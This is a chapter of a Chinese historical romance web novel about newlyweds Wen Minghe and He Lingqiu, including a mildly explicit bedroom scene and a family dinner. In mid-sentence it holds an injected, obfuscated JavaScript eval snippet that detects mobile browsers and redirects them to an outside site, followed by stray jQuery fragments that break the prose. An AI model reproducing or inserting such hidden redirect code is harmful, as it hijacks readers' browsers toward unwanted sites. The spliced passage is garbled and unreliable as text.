她有些不确定的想自己是不是听错了。
这样暧昧性感的颤哼,温明鹤只听到过两次,想到青年那张清冷禁欲的俊美脸庞,她撇撇嘴,准是听错了,如他这样的克己复礼之人,方才还在生气,哪可能在有心思再作出沾染情欲的事儿来。
此念刚从心头划过,屏风后响起一阵水声,她径直迈步而入,青年紧实劲瘦的窄腰在眼前一晃而过。
水珠顺着结实宽厚的肩背滑下,眨眼间便被墨色浴袍覆盖,严严实实的遮住了线条流畅漂亮的背肌,脖子上那处暧昧咬痕却藏不住,明晃晃的像是被人私心的盖了个戳。
温明鹤忍不住在心里赞叹,贺令秋人虽讨厌至极,可这张脸生得实在貌美。
察觉她直勾勾垂涎视线,青年不疾不徐地抬眸望过来,俊脸上没甚表情,“出去。”
“……”
温明鹤瞬间垮下脸来,她该找来哑药直接毒哑他。
青年磨磨蹭蹭了些,好在言而有信没有再折腾,两人一人一床被子,烛火吹灭之后,温明鹤瞬间坠入香甜睡梦之中。
不知是因为从未与人同床而眠而不习惯,还是枕边那一缕浅淡的清甜果香,贺令秋迟迟没有睡意。
挂在帷帐上的细碎宝石在幽幽夜色里散发着晶莹耀彩,宛若满天繁星在眼前闪烁,女郎睡相的确不错,一直安安分分不曾越界半分。
三更鼓响,困意终于缓缓而至。
窗外只隐隐泛起一丝光亮,帷帐内朦朦胧胧,温明鹤是被束缚镇压而生生勒醒的。
睁开眼,原本还有些距离的里侧墙面此刻近在咫尺,背后是青年宽厚温暖的胸膛,环在腹间的长臂如同铁钳一样死死箍着她,长腿蛮横的别进双膝,把她整个人牢牢禁锢在怀里,还半压着,害得她完全喘不上来气。
温明鹤缓了一会儿才反应过来怎么回事——贺令秋睡着后一直在挤她。
她大概是被挤着睡得不太舒服,无意识地往里侧躲,而身后之人则不依不饶地追着跟上来。
呵,怪不得非要分床而睡,原来是睡相极差。
就这么被挤在墙面和贺令秋之间实在难受,喘不动气,温明鹤费力的挣扎了下,试图转个身,身后之人不满她的动作搅扰美梦,双臂收拢力道抱紧。
温明鹤骤然贴上了冰冷的墙面,凉意轻易穿透单薄的寝衣,她被冰得忍不住缩了下腿,想要后退一些时,忽而察觉腰间一丝异样。
她几乎立刻反应过来,下意识没再乱动,他……他不是正睡着?
温明鹤努力的回头,看到青年紧阖着尚在沉睡的眸眼,心中更加困惑,可现在身上的锦被被他抢走了大半,春日清晨凉意正甚,她小幅度挣扎着想抓到被子扯过来,几番尝试之后,被子没碰到,他反倒精神起来。
她刚挨过一次疼,那疼意叫人心有余悸,想了想,便往前挺起腰试图拉开一丝距离,殊不知实则是在无意间塌腰,她越是努力往前,他越是精神抖擞。
温明鹤听身后之人呼吸开始凌乱,正一头懵然迷茫之际,一双大手落在胯骨,勾着她往后带的同时自己也跟上来。
扶在腰间的大掌紧捏着她,呼出的热息喷洒在颈侧耳后,薄薄的寝衣仿佛不存在一样,他微微发热的胸膛紧贴着她的脊背,熏出几许汗热之意。
青年双眸紧闭,却胡乱莽撞,温明鹤却感觉有些许湿意渐渐晕染开。
她经验寥寥有些许不知所措,只能努力地并..住,企图阻止扩散。
身后偶尔传来的一丝低沉闷..息,听得人莫名耳热,心也跟着生出几分悸动,无端间,她记起上一次意识昏昏沉沉之时,不知他意外磨到了哪一点,那股令人头皮发麻心尖打颤的感觉至今记忆尤深。
那猛然出现又骤然消散的快..意十分玄妙,温明鹤忽然有些意动,莫非那就是话本儿里所说的快乐似神仙?
唔……有点想试试。
正想着,腰上的力道猛地收紧,身后之人重重一夯,温明鹤猝不及防撞上冰凉的墙面,
“啊……”
她的鼻子!
酸疼之感蓦地涌上来,眼泪不受控地飞快落下。
令人神魂.颤..栗的蚀骨..快意汹涌席卷而来,贺令秋尚在半梦半醒间,这一道低弱的呼痛声彻底让他清醒几许,睁开眼便见女郎被可怜兮兮的夹在他和墙壁之间,泪眼朦朦望着他,哭得鼻尖都泛着微红。
意识到自己此刻的状况,青年整个人微微僵住,胸膛的热意飞速退散。
他……做了什么……
温明鹤吸了吸鼻子,推着他的胸膛,瓮声瓮气道,“还不让我喘口气嘛?”
鼻子那股酸劲儿还未褪去,她眨了眨眼睛,眼泪又掉了下来,贺令秋僵硬的拉过锦被将下..身盖住,刚要撤回自己那边,就被女郎揪住了被角。
“……这是我的被子。”
他回头看了眼,才发觉自己那床被子早已耷拉着掉下床沿儿。
贺令秋将被子还给她,面无表情捡起自己那床后,一言不发的进了浴房。
温明鹤随意理了理微乱寝衣,躺在被窝里回想方才青年极为精彩的脸色,轻哼一声,什么清冷禁欲,克己复礼。
这才是同床共枕的第一夜罢了,在睡梦中都如此,待日后她稍稍使些手段,定力能深稳到哪儿去。
寝衣宽松柔软,淡淡的湿迹贴在身上有些不舒服,温明鹤无意识并了下腿,若是贺令秋配合些,也不是不能再试一次。
不过他实在蛮横,捏着她胯骨都泛起疼,合该好好学一学。
天色已然放亮,贺令秋换了武袍直接去练武,温明鹤躺着也睡不着,便喊柳芽儿柳叶儿进来更衣梳洗。
柳芽儿在温府时便掌管着一院之权,手段自是不差,临到晌午时,岁寒院大部下人都已经老实服从,黄易嘴巴够硬,但李甲一介奴仆,稍稍用个小计,便什么都诈出来了。
供词送到贺令秋手中时,墨云稍稍松了一口气,少夫人是被冤枉陷害的,看来那金叶子是保住了。
贺令秋将供词递回给墨云,冷声道,“黄易和李甲,任由少夫人处置。”
墨云连声称是,拿着供词便要送回柳芽儿手上,书房房门一推开,就见一袭粉青色如意金纹裳裙的明媚女郎正从游廊一端而来,他连忙抱拳,“少夫人。”
听到‘少夫人’三字,青年执笔的手微顿,墨点坠落砸到宣纸之上,一张写得整齐漂亮的纸页就此毁掉。
温明鹤走进书房,对上那双幽然冷淡的凤眸后,眉眼微微一弯,拎着手中的食盒晃了下,“我来给你送午膳。”
“……自有下人来送。”
温明鹤柳眉轻轻一挑,“我送的你就不吃了?”
贺令秋沉默一瞬,目光从她身上那一套清雅精致的青玉竹首饰上一扫而过,垂下眸,将狼毫放到一旁。
清晨练完武之后,他换了衣裳便大步离开了厢房,余光中瞥见她还在梳妆,似乎嘟囔着那粉宝石打磨的样式不好看,让那个叫柳叶儿的婢女换个青玉的来。
温家落魄,她却没有多少神伤之态,瞧着便是个没心没肺的。
“对了,两刻钟前你娘派人来传话,说晚膳要去他们院里去用。”温明鹤把午膳摆到方桌上,见他默然走来,有些怀疑,“你不会又不想带我去罢?”
若是猜得没错,今夜她去用膳的话,极有可能能去看一眼爹娘。
想着,她立马道,“柳芽儿可都审问出来了,那茶水不是我干的,你既然冤枉了我,那总得补偿回来吧?”
贺令秋淡淡扫了她一眼,“带你去。”
温明鹤眼睛一亮,“真的?你没骗我?”
她眼睛生得漂亮,带着期待和兴奋,和今早被他挤在窄巴巴的空间里,含着泪可怜兮兮的样子相差极大,意识到自己又在想清晨发生之事,贺令秋薄唇紧抿了下,掩饰般夹起一道菜送入口中,语调冷漠,“你若想去,没人拦得住你。”
能去见爹娘,温明鹤才不理会他语气如何,激动地几乎想要原地蹦上几下,能去牢狱看爹娘,说不定她会比信还要先……
等等——温明鹤脸上的笑意忽而凝固,她敢出府
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240662|197718||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?
一想到坐在马车上看着贺家府门渐渐后退远去时,自心底便油然而生的惊惧慌张,温明鹤彻底笑不出来了。
离开书房后,女郎便开始陷入焦虑之中,“柳叶儿,你说我若是还不敢离开怎么办?”
柳叶儿很是疑惑,“姑娘如今已是贺家媳妇,为何不敢离开呢,外面有什么可怕的?”
“对……”温明鹤被一语点醒,“我是贺家媳,他们……”他们不会来抓她的。
她一直在贺家待着,官府从未想过要来捉拿她。
她是安全的。
她不会再受那些酷刑,惨死在潮湿幽冷的牢狱里了。
温明鹤不断地默念着这几句话,时间一晃而过就到了黄昏之时,她深吸一口气,迈入东府正院,贺令秋察觉她的紧绷,拧着眉头望着视死如归一般走在前方的女郎背影,她忽然这么紧张作甚?
云氏说只是寻常一场家宴,饭桌上除了公婆之外,还有即将及笄的贺二姑娘和将将十一岁的贺三郎,两人看见温明鹤规矩的行礼唤了一声长嫂,眼底都隐隐带了几分好奇。
温明鹤难得乖巧,垂头向公婆请安,贺父见状心安了不少,挥挥手温声道,“好了好了,都坐罢。”
贺父和贺令秋一直聊着春闱之事,偶尔问几句贺三郎的功课如何,温明鹤耐心听到用膳结束,都不见桌上有人提及看望爹娘之事。
她有些困惑的看向云氏,婆母不能是在骗她罢?
云氏自是知道儿媳频频看她是为何,但二姑娘贺岚瑾和三郎贺寅秋不知其中缘故,发现之后也忍不住偷偷看向两人。
贺父迟钝的察觉,“怎么了?”
云氏轻声问,“范大人那边……”
贺父没想到夫人竟已经和长媳说过了,下意识看向女郎,对上那双透着期待的眼睛,握拳轻咳两声,“事情有变,需得缓一缓。”
温明鹤的眼神瞬间黯淡了下去,“……”
贺令秋总算是知道她为何对一场家宴如此迫不及待又紧张兮兮,不疾不徐放下筷子,“今日有人上奏温家受贿买卖六品官职一事,证据确确凿,那六品官员已经落狱待审了。”
雪上加霜,温明鹤彻底蔫儿了下去。
沐浴过后,她趴在床榻上,愁得不行,“柳芽儿,那封信会不会也送不进去啊?”
柳芽儿正给她揉着肩上的香膏,闻言顿了下,安慰道,“信件而已,若送不到也能托付狱卒传话过去,姑娘安心便是。”
温明鹤闷声道,“我想爹娘了。”
尧州的信该送到了,不知长姐有没有生产,别被吓得慌了神才好。
“只是缓一缓,姑娘耐心等几日,定能如愿见到老爷夫人的。”
事已至此,也只能再等侯了。
贺令秋沐浴罢后进来,便看到温明鹤心不在焉地把玩着一枚金锁,注意到他靠近,她眼巴巴抬起头看他,“贺令秋,你能送封……你卷被子是想去哪儿?”
温明鹤一把摁住他手中的锦被,本就郁闷得很,这一下被他激得怒气冲冲,“你没完没了了是不是?!”
天天挪窝,他干脆去月亮上和嫦娥作伴好了!
贺令秋扯开她的手腕,神色淡淡,“只是在地上睡。”
“不许!”
温明鹤抢过他的软枕扔进里侧,漂亮的眼睛里冒着火,“你今早欺负我,晚上还想欺负我,你不嫌累吗?”
贺令秋静静看着她,“我睡相不好。”
不就是脸皮薄,温明鹤深吸一口气,“我不嫌弃。”
她将他的被子摊开,重重一拍,“上来。”
青年和她对视了片刻,薄唇微抿,掀开锦被,“软枕。”
软枕又被拎了回去,同时送到青年跟前的还有薄薄一本图册。
温明鹤先死死揪住他寝衣的衣袖,然后脸不红心不跳道,“你多看看这个,这是爹娘给的。”
贺令秋垂眸,借着明亮的灯火,看见图册上的三个大字——《房中术》。
他轻掀起眼皮,“你再说一遍,谁给的?”